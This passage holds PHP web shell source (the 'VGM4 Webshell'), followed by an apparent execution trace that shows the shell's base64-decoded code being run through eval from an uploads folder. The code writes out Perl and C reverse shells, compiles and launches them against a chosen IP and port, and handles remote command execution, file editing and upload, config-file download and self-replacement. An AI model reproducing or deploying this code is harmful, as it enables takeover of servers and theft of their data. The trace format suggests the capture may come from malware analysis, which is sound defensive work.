            } else {
                return false;
            }
        }
        public function reverse_shell($ip, $port, $method)
        {
            if ($method == "perl") {
                $back_connect_pl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj\r\n            aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR\r\n            hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT\r\n            sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI\r\n            kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi\r\n            KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl\r\n            OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
                $perl_path = 'mws_rev.pl';
                if (@file_put_contents($perl_path, "#!/usr/bin/perl\r\nuse Socket;\r\n\$cmd= \"lynx\";\r\n\$system= 'echo \"`uname -a`\";echo \"`id`\";/bin/sh';\r\n\$0=\$cmd;\r\n\$target=\$ARGV[0];\r\n\$port=\$ARGV[1];\r\n\$iaddr=inet_aton(\$target) || die(\"Error: \$!\\n\");\r\n\$paddr=sockaddr_in(\$port, \$iaddr) || die(\"Error: \$!\\n\");\r\n\$proto=getprotobyname('tcp');\r\nsocket(SOCKET, PF_INET, SOCK_STREAM, \$proto) || die(\"Error: \$!\\n\");\r\nconnect(SOCKET, \$paddr) || die(\"Error: \$!\\n\");\r\nopen(STDIN, \">&SOCKET\");\r\nopen(STDOUT, \">&SOCKET\");\r\nopen(STDERR, \">&SOCKET\");\r\nsystem(\$system);\r\nclose(STDIN);\r\nclose(STDOUT);\r\nclose(STDERR);")) {
                    @chmod($perl_path, octdec("0755"));
                    $exec_command = $this->run_cmd("perl {$perl_path} {$ip} {$port} &");
                    if ($exec_command !== false) {
                        @unlink($perl_path);
                        return true;
                    } else {
                        @unlink($perl_path);
                        return false;
                    }
                } else {
                    return false;
                }
            } else {
                $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC\r\n            BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb\r\n            SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd\r\n            KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ\r\n            sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC\r\n            Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D\r\n            QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp\r\n            Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
                $c_path = 'mws_rev_c.c';
                if (@file_put_contents($c_path, "#include <stdio.h>\r\n#include <sys/socket.h>\r\n#include <netinet/in.h>\r\nint main(int argc, char *argv[])\r\n{\r\n int fd;\r\n struct sockaddr_in sin;\r\n char rms[21]=\"rm -f \"; \r\n daemon(1,0);\r\n sin.sin_family = AF_INET;\r\n sin.sin_port = htons(atoi(argv[2]));\r\n sin.sin_addr.s_addr = inet_addr(argv[1]); \r\n bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); \r\n fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; \r\n if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {\r\n   perror(\"[-] connect()\");\r\n   exit(0);\r\n }\r\n strcat(rms, argv[0]);\r\n system(rms);  \r\n dup2(fd, 0);\r\n dup2(fd, 1);\r\n dup2(fd, 2);\r\n execl(\"/bin/sh\",\"sh -i\", NULL);\r\n close(fd); \r\n}")) {
                    $compile = $this->run_cmd("gcc -o mws_rev_c mws_rev_c.c");
                    if ($compile !== false) {
                        if (file_exists('mws_rev_c')) {
                            @unlink($c_path);
                            @chmod('mws_rev_c', octdec("0755"));
                            $exec_command = $this->run_cmd("./mws_rev_c {$ip} {$port} &");
                            if ($exec_command !== false) {
                                @unlink('mws_rev_c');
                                return true;
                            } else {
                                @unlink('mws_rev_c');
                                return false;
                            }
                        } else {
                            @unlink($c_path);
                            return false;
                        }
                    } else {
                        @unlink($c_path);
                        return false;
                    }
                } else {
                    return false;
                }
            }
        }
        public function get_ip_information()
        {
            $informations = array();
            $server_ip = $_SERVER['SERVER_ADDR'];
            $sites = array('http://ip-api.com/json/' . $server_ip, 'https://ipwhois.app/json/' . $server_ip, 'https://ipapi.co/' . $server_ip . '/json/', 'https://free.ipdetails.io/' . $server_ip, 'https://ipinfo.io/' . $server_ip . '/json');
            foreach ($sites as $key => $lookup_addr) {
                if (function_exists('curl_init')) {
                    $curl = curl_init();
                    curl_setopt_array($curl, array(CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 OPR/79.0.4143.72', CURLOPT_URL => $lookup_addr, CURLOPT_TIMEOUT => 10));
                    $content = curl_exec($curl);
                    curl_close($curl);
                } elseif (function_exists('file_get_contents')) {
                    $options = stream_context_create(array("http" => array("timeout" => 10)));
                    $content = file_get_contents($lookup_addr, false, $options);
                } elseif (function_exists('fopen')) {
                    $options = stream_context_create(array("http" => array("timeout" => 10)));
                    $fopen = fopen($lookup_addr, 'r', false, $options);
                    if ($fopen) {
                        $content = '';
                        while ($read = fread($fopen, 1024)) {
                            $content .= $read;
                        }
                        fclose($fopen);
                    }
                }
                if ($content) {
                    $decode = json_decode($content);
                    if ($key == 0) {
                        if ($decode->status) {
                            $informations['ip'] = $server_ip;
                            $informations['country'] = $decode->country;
                            $informations['city'] = $decode->city;
                            $informations['region'] = $decode->regionName;
                            $informations['timezone'] = $decode->timezone;
                        } else {
                            $informations['ip'] = $server_ip;
                            $informations['country'] = 'Unknown';
                            $informations['city'] = 'Unknown';
                            $informations['region'] = 'Unknown';
                            $informations['timezone'] = 'Unknown';
                        }
                    } elseif ($key == 1) {
                        if ($decode->success) {
                            $informations['ip'] = $server_ip;
                            $informations['country'] = $decode->country;
                            $informations['city'] = $decode->city;
                            $informations['region'] = $decode->region;
                            $informations['timezone'] = $decode->timezone;
                        } else {
                            $informations['ip'] = $server_ip;
                            $informations['country'] = 'Unknown';
                            $informations['city'] = 'Unknown';
                            $informations['region'] = 'Unknown';
                            $informations['timezone'] = 'Unknown';
                        }
                    } elseif ($key == 2) {
                        if ($decode->country_name) {
                            $informations['ip'] = $server_ip;
                            $informations['country'] = $decode->country_name;
                            $informations['city'] = $decode->city;
                            $informations['region'] = $decode->region;
                            $informations['timezone'] = $decode->timezone;
                        } else {
                            $informations['ip'] = $server_ip;
                            $informations['country'] = 'Unknown';
                            $informations['city'] = 'Unknown';
                            $informations['region'] = 'Unknown';
                            $informations['timezone'] = 'Unknown';
                        }
                    } elseif ($key == 3) {
                        if ($decode->status) {
                            $informations['ip'] = $server_ip;
                            $informations['country'] = $decode->country->country_long;
                            $informations['city'] = $decode->region->city;
                            $informations['region'] = $decode->region->region;
                            $informations['timezone'] = $decode->timezone->timezone;
                        } else {
                            $informations['ip'] = $server_ip;
                            $informations['country'] = 'Unknown';
                            $informations['city'] = 'Unknown';
                            $informations['region'] = 'Unknown';
                            $informations['timezone'] = 'Unknown';
                        }
                    } elseif ($key == 4) {
                        if ($decode->country) {
                            $informations['ip'] = $server_ip;
                            $informations['country'] = $decode->country;
                            $informations['city'] = $decode->city;
                            $informations['region'] = $decode->region;
                            $informations['timezone'] = $decode->timezone;
                        } else {
                            $informations['ip'] = $server_ip;
                            $informations['country'] = 'Unknown';
                            $informations['city'] = 'Unknown';
                            $informations['region'] = 'Unknown';
                            $informations['timezone'] = 'Unknown';
                        }
                    }
                }
                if (!empty($informations)) {
                    break;
                }
            }
            return $informations;
        }
        public function getMimeType($filename)
        {
            $realpath = realpath($filename);
            if ($realpath && function_exists('finfo_file') && function_exists('finfo_open') && defined('FILEINFO_MIME_TYPE')) {
                // Use the Fileinfo PECL extension (PHP 5.3+)
                return finfo_file(finfo_open(FILEINFO_MIME_TYPE), $realpath);
            }
            if (function_exists('mime_content_type')) {
                // Deprecated in PHP 5.3
                return mime_content_type($realpath);
            }
            return false;
        }
    }
};

Execution traces

data/traces/2aaa376ed3fbc93cacec8a0066f8fac0_trace-1676254244.0849.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:11:09.982722]
1	0	1	0.000148	393512
1	3	0	0.001770	704720	{main}	1		/var/www/html/uploads/vgm4.php	0	0
2	4	0	0.001793	704720	base64_decode	0		/var/www/html/uploads/vgm4.php	1	1	'PD9waHANCi8qDQogICAgKiBWR000IFdlYnNoZWxsIHYxLjANCiAgICAqIFBIUCAmIEphdmFzY3JpcHQgYmFzZWQgd2ViIHNoZWxsDQogICAgKiBBdXRob3JlZCA6IFZHTTQNCg0KICAgICBESVNDTEFJTUVSDQoNCiAgICAgLSBUaGlzIHNjcmlwdCBoYXMgZmV3IG9mIGFiaWxpdGllcyBvbiBhIHdlYiBzZXJ2ZXIsc29tZSBvZiB0aGVtIG1pZ2h0IGJlIGhhcm1mdWwNCiAgICAgICBJZiB5b3UgYXJlIGRlY2lkZWQgdG8gdXNlIHRoaXMgc2NyaXB0LHlvdSBoYXZlIHRvIGtub3cgdGhhdCBzY3JpcHQncyBhdXRob3IgZG9lcyBub3QgdGFrZXMgYW55IHJlc3BvbnNpYmlsaXR5IG9uIGFueSBoYXJtZnVsIHVzZQ0KKi8NCkBzZXNzaW9uX3N0YXJ0KCk7DQpAb2Jfc3RhcnQoKTsNCkBp'
2	4	1	0.002844	1016048
2	4	R			'<?php\r\n/*\r\n    * VGM4 Webshell v1.0\r\n    * PHP & Javascript based web shell\r\n    * Authored : VGM4\r\n\r\n     DISCLAIMER\r\n\r\n     - This script has few of abilities on a web server,some of them might be harmful\r\n       If you are decided to use this script,you have to know that script\'s author does not takes any responsibility on any harmful use\r\n*/\r\n@session_start();\r\n@ob_start();\r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'safe_mode\',\'Off\');\r\n@ini_set(\'disable_functions'
2	5	0	0.004794	1384064	eval	1	'?><?php\r\n/*\r\n    * VGM4 Webshell v1.0\r\n    * PHP & Javascript based web shell\r\n    * Authored : VGM4\r\n\r\n     DISCLAIMER\r\n\r\n     - This script has few of abilities on a web server,some of them might be harmful\r\n       If you are decided to use this script,you have to know that script\'s author does not takes any responsibility on any harmful use\r\n*/\r\n@session_start();\r\n@ob_start();\r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'safe_mode\',\'Off\');\r\n@ini_set(\'disable_functions\',\' \');\r\nerror_reporting(E_ALL ^ E_NOTICE ^ E_WARNING);\r\n\r\n$helpers = new helpers;\r\n\r\nif($_POST){\r\n    header("Content-type: application/json");\r\n\r\n    if(isset($_POST[\'list_dir\'])){\r\n\r\n        $list = $helpers->list_dir(base64_decode($_POST[\'list_dir\']));\r\n\r\n        if($list === false){\r\n            $output[\'status\'] = \'no_dir\';\r\n            exit(json_encode($output));\r\n        }\r\n        exit(json_encode($list)); \r\n\r\n    }elseif(isset($_POST[\'remove_file\'])){\r\n\r\n        $remove = $helpers->remove_file(base64_decode($_POST[\'remove_file\']));\r\n\r\n        if($remove){\r\n            $output[\'status\'] = \'removed\';\r\n        }else{\r\n            $output[\'status\'] = \'failed\';\r\n        }\r\n        exit(json_encode($output));\r\n    }elseif(isset($_POST[\'chmod_target\']) && isset($_POST[\'chmod\'])){\r\n\r\n        $setchmod = $helpers->set_chmod(base64_decode($_POST[\'chmod_target\']),base64_decode($_POST[\'chmod\']));\r\n\r\n        if($setchmod){\r\n            $output[\'status\'] = \'ok\';\r\n        }else{\r\n            $output[\'status\'] = \'failed\';\r\n        }\r\n        exit(json_encode($output));\r\n    }elseif(isset($_POST[\'rename_target\']) && isset($_POST[\'new_name\']) && isset($_POST[\'old_name\'])){\r\n        $rename = $helpers->rename(base64_decode($_POST[\'rename_target\']),$_POST[\'new_name\'],$_POST[\'old_name\']);\r\n\r\n        if($rename){\r\n            $output[\'status\'] = \'ok\';\r\n        }else{\r\n            $output[\'status\'] = \'failed\';\r\n        }\r\n        exit(json_encode($output));\r\n    }elseif(isset($_POST[\'read_file\'])){\r\n        if(is_file(base64_decode($_POST[\'read_file\']))){\r\n            $pathinfo  = pathinfo(base64_decode($_POST[\'read_file\']));\r\n\r\n            if(stristr($pathinfo[\'extension\'],\'zip\') || stristr($pathinfo[\'extension\'],\'rar\') || stristr($pathinfo[\'extension\'],\'tar\') || stristr($pathinfo[\'extension\'],\'tar.gz\') || stristr($pathinfo[\'extension\'],\'7z\')){\r\n                $output[\'status\'] = \'failed\';\r\n                exit(json_encode($output));\r\n            }elseif(stristr($pathinfo[\'extension\'],\'m4a\') || stristr($pathinfo[\'extension\'],\'flac\') || stristr($pathinfo[\'extension\'],\'mp3\') || stristr($pathinfo[\'extension\'],\'wav\') || stristr($pathinfo[\'extension\'],\'aac\') || stristr($pathinfo[\'extension\'],\'wma\')){\r\n                $output[\'audio\'] = base64_decode($_POST[\'read_file\']);\r\n                $output[\'type\']  = $helpers->getMimeType(base64_decode($_POST[\'read_file\']));\r\n                exit(json_encode($output));\r\n            }elseif(stristr($pathinfo[\'extension\'],\'mp4\') || stristr($pathinfo[\'extension\'],\'avi\') || stristr($pathinfo[\'extension\'],\'mov\') || stristr($pathinfo[\'extension\'],\'wmv\') || stristr($pathinfo[\'extension\'],\'flv\') || stristr($pathinfo[\'extension\'],\'avchd\') || stristr($pathinfo[\'extension\'],\'mkv\') || stristr($pathinfo[\'extension\'],\'3gp\')){\r\n                $output[\'video\'] = base64_decode($_POST[\'read_file\']);\r\n                $output[\'type\'] = $helpers->getMimeType(base64_decode($_POST[\'read_file\']));\r\n                exit(json_encode($output));\r\n            }\r\n    \r\n            $read_file  = @file_get_contents(base64_decode($_POST[\'read_file\']));\r\n        \r\n            if($read_file !== false){\r\n                if(stristr($pathinfo[\'extension\'],\'jpg\') || stristr($pathinfo[\'extension\'],\'ico\') || stristr($pathinfo[\'extension\'],\'png\') || stristr($pathinfo[\'extension\'],\'bmp\') || stristr($pathinfo[\'extension\'],\'gif\') || stristr($pathinfo[\'extension\'],\'jpeg\') || stristr($pathinfo[\'extension\'],\'webp\') || stristr($pathinfo[\'extension\'],\'svg\')){\r\n                    $output[\'data_url\'] = \'data: \'.$helpers->getMimeType(base64_decode($_POST[\'read_file\'])).\';base64,\'.base64_encode($read_file);\r\n                }\r\n    \r\n                $output[\'content\'] = base64_encode($read_file);\r\n            }else{\r\n                $output[\'status\'] = \'failed\';\r\n            }\r\n        }else{\r\n            $output[\'status\'] = \'failed\';\r\n        }\r\n       \r\n        exit(json_encode($output));\r\n\r\n    }elseif(isset($_POST[\'edit_file\'])){\r\n        if(isset($_POST[\'rename\'])){\r\n            if(@rename(base64_decode($_POST[\'edit_file\']),base64_decode($_POST[\'rename\']))){\r\n                if(isset($_POST[\'content\'])){\r\n                    if(@file_put_contents(base64_decode($_POST[\'rename\']),base64_decode($_POST[\'content\']),LOCK_EX)){\r\n                        $output[\'status\']  = @basename(base64_decode($_POST[\'rename\']));\r\n                        $output[\'old_name\']= @basename(base64_decode($_POST[\'edit_file\']));\r\n                    }else{\r\n                        $output[\'status\']  = @basename(base64_decode($_POST[\'rename\']));\r\n                        $output[\'old_name\']= @basename(base64_decode($_POST[\'edit_file\'])); \r\n                    }\r\n                }else{\r\n                    $output[\'status\']  = @basename(base64_decode($_POST[\'rename\']));\r\n                    $output[\'old_name\']= @basename(base64_decode($_POST[\'edit_file\']));\r\n                }\r\n\r\n            }else{\r\n                $output[\'status\'] = \'failed\';\r\n            }\r\n\r\n        }else{\r\n            if(isset($_POST[\'content\'])){\r\n                if(@file_put_contents(base64_decode($_POST[\'edit_file\']),base64_decode($_POST[\'content\']),LOCK_EX)){\r\n                    $output[\'status\'] = \'ok\';\r\n                }else{\r\n                    $output[\'status\'] = \'failed\';\r\n                }\r\n            }\r\n\r\n        }\r\n      \r\n        exit(json_encode($output));\r\n    }elseif(isset($_POST[\'create_file\']) && isset($_POST[\'directory\'])){\r\n        if(!@file_exists(base64_decode($_POST[\'directory\']).\'/\'.base64_decode($_POST[\'create_file\'])) || !@is_dir(base64_decode($_POST[\'directory\']).\'/\'.base64_decode($_POST[\'create_file\']))){\r\n            if(@touch(base64_decode($_POST[\'directory\']).\'/\'.base64_decode($_POST[\'create_file\']))){\r\n                $output[\'status\'] = \'ok\';\r\n            }else{\r\n                $output[\'status\'] = \'failed\';\r\n            }\r\n        }else{\r\n            $output[\'status\'] = \'already_exists\';\r\n        }\r\n    \r\n        exit(json_encode($output));\r\n    }elseif(isset($_POST[\'create_dir\']) && isset($_POST[\'directory\'])){\r\n        if(!@file_exists(base64_decode($_POST[\'directory\']).\'/\'.base64_decode($_POST[\'create_dir\'])) || !@is_dir(base64_decode($_POST[\'directory\']).\'/\'.base64_decode($_POST[\'create_dir\']))){\r\n            if(@mkdir(base64_decode($_POST[\'directory\']).\'/\'.base64_decode($_POST[\'create_dir\']))){\r\n                $output[\'status\'] = \'ok\';\r\n            }else{\r\n                $output[\'status\'] = \'failed\';\r\n            }\r\n        }else{\r\n            $output[\'status\'] = \'already_exists\';\r\n        }\r\n        exit(json_encode($output));\r\n    }elseif(isset($_FILES[\'files\']) && isset($_POST[\'directory\'])){\r\n  \r\n        foreach($_FILES[\'files\'][\'name\'] as $key => $name){\r\n            $upload = $helpers->file_upload($_FILES[\'files\'][\'tmp_name\'][$key],$name,base64_decode($_POST[\'directory\']));\r\n\r\n            if($upload){\r\n                $output[\'status\'] = \'ok\';\r\n            }else{\r\n                $output[\'status\'] = \'failed\';\r\n            }\r\n        }\r\n        exit(json_encode($output));\r\n\r\n    }elseif(isset($_POST[\'command\']) && isset($_POST[\'directory\'])){\r\n        \r\n        $cmd = $helpers->run_cmd(base64_decode($_POST[\'command\']),base64_decode($_POST[\'directory\']));\r\n\r\n        if($cmd){\r\n            $output[\'status\'] = base64_encode($cmd);\r\n        }else{\r\n            $output[\'status\'] = \'failed\';\r\n        }\r\n        exit(json_encode($output));\r\n    }elseif(isset($_POST[\'symlink_target\'])){\r\n        $symlink = $helpers->create_symlink(base64_decode($_POST[\'symlink_target\']));\r\n\r\n        if($symlink){\r\n            $output[\'status\'] = base64_encode(htmlentities($symlink));\r\n        }else{\r\n            $output[\'status\'] = \'failed\';\r\n        }\r\n        exit(json_encode($output));\r\n    }elseif(isset($_POST[\'search_location\']) && isset($_POST[\'search_keyword\']) && isset($_POST[\'search_type\'])){\r\n\r\n        $command = $helpers->run_cmd($helpers->prepare_search_cmd($_POST[\'search_location\'],$_POST[\'search_keyword\'],$_POST[\'search_type\']));\r\n\r\n        if($command){\r\n            $output[\'status\'] = base64_encode($command);\r\n        }else{\r\n            $output[\'status\'] = \'failed\';\r\n        }\r\n        exit(json_encode($output));\r\n    }elseif(isset($_POST[\'download_cfg\'])){\r\n        $zipAll = $helpers->download_configs(base64_decode($_POST[\'download_cfg\']));\r\n\r\n        if($zipAll == false){\r\n            $output[\'status\'] = \'failed\';\r\n        }else{\r\n            $output[\'url\'] = $zipAll;\r\n        }\r\n        exit(json_encode($output));\r\n    }elseif(isset($_POST[\'update_content\'])){\r\n\r\n        if(@file_put_contents(basename($_SERVER[\'PHP_SELF\']),base64_decode($_POST[\'update_content\']))){\r\n            $output[\'status\'] = \'ok\';\r\n        }else{\r\n            $output[\'status\'] = \'failed\';\r\n        }\r\n        exit(json_encode($output));\r\n    }elseif(isset($_POST[\'getip\'])){\r\n\r\n        $client_ip = $helpers->getClientIP();\r\n\r\n        if($client_ip){\r\n            $output[\'status\'] = $client_ip;\r\n        }else{\r\n            $output[\'status\'] = \'failed\';\r\n\r\n        }\r\n        exit(json_encode($output));\r\n    }elseif(isset($_POST[\'rev_ip\']) && isset($_POST[\'rev_port\']) && isset($_POST[\'method\'])){\r\n        \r\n        $create_shell = $helpers->reverse_shell($_POST[\'rev_ip\'],$_POST[\'rev_port\'],$_POST[\'method\']);\r\n\r\n        if($create_shell){\r\n            $output[\'status\'] = \'ok\';\r\n        }else{\r\n            $output[\'status\'] = \'failed\';\r\n        }\r\n        exit(json_encode($output));\r\n    }\r\n\r\n  exit;\r\n}\r\nif(isset($_GET[\'download_file\'])){\r\n\r\n    $file     = base64_decode($_GET[\'download_file\']);\r\n    \r\n    $download = $helpers->download_file($file);\r\n\r\n    if($download === false){\r\n        print \'<script>window.history.back();</script>;\';\r\n    }\r\n    exit;\r\n}elseif(isset($_GET[\'adminer\'])){\r\n    \r\n    $adminer = $helpers->get_adminer();\r\n    if($adminer){\r\n        $output[\'status\'] = \'ok\';\r\n    }else{\r\n        $output[\'status\'] = \'failed\';\r\n    }\r\n\r\n    exit(json_encode($output));\r\n}elseif(isset($_GET[\'cgitelnet\'])){\r\n    $cgitelnet = $helpers->get_cgitelnet();\r\n\r\n    if($cgitelnet){\r\n        $output[\'status\'] = \'ok\';\r\n    }else{\r\n        $output[\'status\'] = \'failed\';\r\n    }\r\n\r\n    exit(json_encode($output));\r\n}elseif(isset($_GET[\'play_audio\'])){\r\n    $audioPath = $_GET[\'play_audio\'];\r\n    header(\'Cache-Control: no-cache\');\r\n    header(\'Content-Transfer-Encoding: binary\');\r\n    header(\'Content-Type: audio/mp3\'); \r\n    header(\'Content-Length: \' . filesize($audioPath));\r\n    header(\'Accept-Ranges: bytes\');\r\n\r\n    readfile($audioPath); \r\n\r\n    exit;\r\n}elseif(isset($_GET[\'play_video\'])){\r\n    $videoPath = $_GET[\'play_video\'];\r\n    header(\'Cache-Control: no-cache\');\r\n    header(\'Content-Transfer-Encoding: binary\');\r\n    header(\'Content-Type: video/mp4\'); \r\n    header(\'Content-Length: \' . filesize($videoPath));\r\n    header(\'Accept-Ranges: bytes\');\r\n\r\n    readfile($videoPath); \r\n    exit;\r\n}elseif(isset($_GET[\'download_folder\'])){\r\n    if(is_dir(base64_decode($_GET[\'download_folder\']))){\r\n        $zip_folder = $helpers->download_as_zip(base64_decode($_GET[\'download_folder\']));\r\n\r\n        if($zip_folder == false){\r\n            exit;\r\n        }else{\r\n            $download_folder = $helpers->download_file($zip_folder,true);\r\n    \r\n            if($download_folder == false){\r\n                exit;\r\n            }\r\n            exit;\r\n        }\r\n    }else{\r\n        exit;\r\n    }\r\n   \r\n    exit;\r\n\r\n}elseif(isset($_GET[\'download_cfg_file\'])){\r\n\r\n    $download_cfg = $helpers->download_file(base64_decode($_GET[\'download_cfg_file\']),true);\r\n\r\n    if($download_cfg == false){\r\n        exit;\r\n    }\r\n    exit;\r\n    \r\n}\r\nif(!function_exists(\'posix_getgrgid\')){\r\n    \r\n    function posix_getgrgid($gid)\r\n    {\r\n        return false;\r\n    }\r\n} \r\n?>\r\n<!DOCTYPE html>\r\n<html lang="en">\r\n<head>\r\n    <meta charset="UTF-8">\r\n    <meta http-equiv="X-UA-Compatible" content="IE=edge">\r\n    <meta name="viewport" content="width=device-width, initial-scale=1.0">\r\n    <style type="text/css">\r\n\t\t@import url(https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta2/css/all.min.css);*{margin:0;padding:0;box-sizing:border-box;font-family:"Sagoe UI",sans-serif;outline:0;list-style:none;text-decoration:none;color:#ff0000;-webkit-font-smoothing:antialiased}body,html{height:100%}body{background:#222831;display:flex;justify-content:center}.holder{margin-top:15px;width:85%;min-width:450px;overflow-x:hidden}.holder::-webkit-scrollbar{width:7px}.holder::-webkit-scrollbar-track{background-color:#e4e4e4;border-radius:50px}.holder::-webkit-scrollbar-thumb{background-color:#222831;border-radius:50px}.mwsbox{overflow-x:hidden;background:#1e1f21;padding:10px 15px;border-radius:10px;box-shadow:-20px 30px 30px -20px rgba(0,0,0,.8);position:relative;width:100%}.mwsbox .bottom-menu{position:absolute;bottom:0;left:50%;transform:translateX(-50%);background:rgba(0,0,0,.75);z-index:999;border-radius:10px 10px 0 0}.mwsbox .bottom-menu ul{display:flex}.mwsbox .bottom-menu ul li{padding:10px 20px;cursor:pointer;display:flex;align-items:center;justify-content:center;border-radius:5px;transition:350ms all}.mwsbox .bottom-menu ul li span{display:none;font-weight:700}.mwsbox .bottom-menu ul li:hover{background:rgba(255,255,255,.5)}.mwsbox .bottom-menu ul li:hover>span{display:block;margin-left:5px}.mwsbox .title{width:100%;padding-bottom:7px;border-bottom:2px solid rgba(255,255,255,.15);margin-bottom:7px;flex-wrap:wrap}.mwsbox .title ul{display:flex;flex-direction:column}.mwsbox .title ul li span{font-weight:700;color:#00ff00;font-size:16px;white-space:nowrap;margin-right:5px}.mwsbox .title ul li{display:flex;align-items:center;font-size:15px;color:rgba(255,255,255,.95)}.mwsbox .title ul li p{word-break:break-all}.mwsbox .title h3{width:100%;background:rgba(34,40,49,.2);text-align:left;margin-bottom:5px;font-size:32px;letter-spacing:3px;font-weight:600;font-weight:500;color:#ff0000;border-radius:5px;padding:5px 0;font-family:"trebuchet ms";text-transform:uppercase}.mwsbox .inner{width:100%;padding:0 10px 5px 0;overflow:auto;max-height:460px;height:460px;}.mwsbox .inner::-webkit-scrollbar{width:7px}.mwsbox .inner::-webkit-scrollbar-track{background-color:#e4e4e4;border-radius:50px}.mwsbox .inner::-webkit-scrollbar-thumb{background-color:#222831;border-radius:50px}.mwsbox .inner table{width:100%;display:none}.mwsbox .inner table thead tr th{border-bottom:1px solid rgba(255,255,255,.08);text-align:right;padding-bottom:10px;font-size:15px;font-weight:600}.mwsbox .inner table tbody tr td{padding:8px 0;border-bottom:1px solid rgba(255,255,255,.02);font-size:14px;font-weight:600;text-align:right}.mwsbox .inner table tbody tr td i{font-size:17px}.mwsbox .inner table tbody tr td:hover span{text-decoration:underline}.mwsbox .inner table tbody tr td span{cursor:pointer}.mwsbox .inner table tbody tr:last-child td{border-bottom:none}.mwsbox .inner table tbody tr td .icons{display:flex;align-items:center;text-align:right;justify-content:flex-end}.mwsbox .inner table tbody tr td .icons i{padding:0 5px;cursor:pointer;display:block}.mwsbox .inner .loaderhold{width:100%;display:flex;align-items:center;justify-content:center}.mwsbox .inner .loaderhold .loader{margin-top:20px;display:none;border:5px solid #f3f3f3;border-top:5px solid #555;border-radius:50%;width:100px;height:100px;animation:spin 1.5s linear infinite}.mwsbox .process-screen{width:calc(75% - 200px);position:absolute;min-width:350px;background:#1a1a1a;border-radius:10px;box-shadow:10px 35px 35px -30px rgba(0,0,0,.8);padding:25px;z-index:9999;top:-50%;left:50%;transform:translate(-50%,-50%);visibility:hidden;max-height:700px;overflow:auto;transition:.2s all;opacity:0}.mwsbox .process-screen::-webkit-scrollbar{width:8px}.mwsbox .process-screen::-webkit-scrollbar-track{background-color:#e4e4e4;border-radius:50px}.mwsbox .process-screen::-webkit-scrollbar-thumb{background-color:gray;border-radius:50px}.mwsbox .process-screen h3{color:#ff0000;font-size:16px;padding-bottom:5px;border-bottom:1px solid #ccc;margin-bottom:10px}.mwsbox .process-screen form{display:flex;flex-direction:column}.mwsbox .process-screen input[type=text]{width:100%;height:45px;padding-left:10px;border:1px solid #aaa;color:#333;background:#ccc}.mwsbox .process-screen input[type=text]:hover{border:1px solid #000}.mwsbox .process-screen input::placeholder{color:gray}.mwsbox .process-screen textarea{width:100%;height:250px;resize:none;padding:5px;border:1px solid #aaa;color:#333;background:#ccc}.mwsbox .process-screen textarea:hover{border:1px solid #000}.mwsbox .process-screen button{width:200px;height:45px;padding:10px;background:#ff0000;color:#fff;border:none;font-weight:700;text-transform:uppercase;font-size:16px;margin-top:10px;cursor:pointer;transition:250ms all}.mwsbox .process-screen button:hover{background:#0078c2}.mwsbox .process-screen label{color:#222;font-weight:600;margin-bottom:5px}.mwsbox .process-screen select{width:100%;height:45px;border:1px solid 